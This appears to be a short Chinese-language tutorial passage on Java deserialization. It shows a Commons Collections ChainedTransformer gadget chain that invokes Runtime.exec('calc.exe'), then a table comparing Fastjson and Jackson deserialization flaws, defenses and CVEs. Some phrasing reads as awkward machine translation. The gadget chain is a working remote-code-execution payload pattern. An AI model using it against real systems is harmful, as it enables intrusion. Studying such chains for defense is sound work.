代码片断 java Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chain = new ChainedTransformer(transformers);
Fastjson与Jackson反序列化原理对比
特性FastjsonJackson触发机制通过@type指定类,自动调用setter/getter。需开启enableDefaultTyping多态范例处置惩罚。漏洞根源AutoType功能未严格校验,加载任意类。反序列化时利用getter或构造函数注入。防御措施关闭AutoType或利用白名单。禁用多态范例处置惩罚,利用@JsonTypeId注解。经典漏洞CVE-2017-18349(RCE via TemplatesImpl)。CVE-2019-12384(JDBC连接池注入)。 BCEL类加载器的更换方案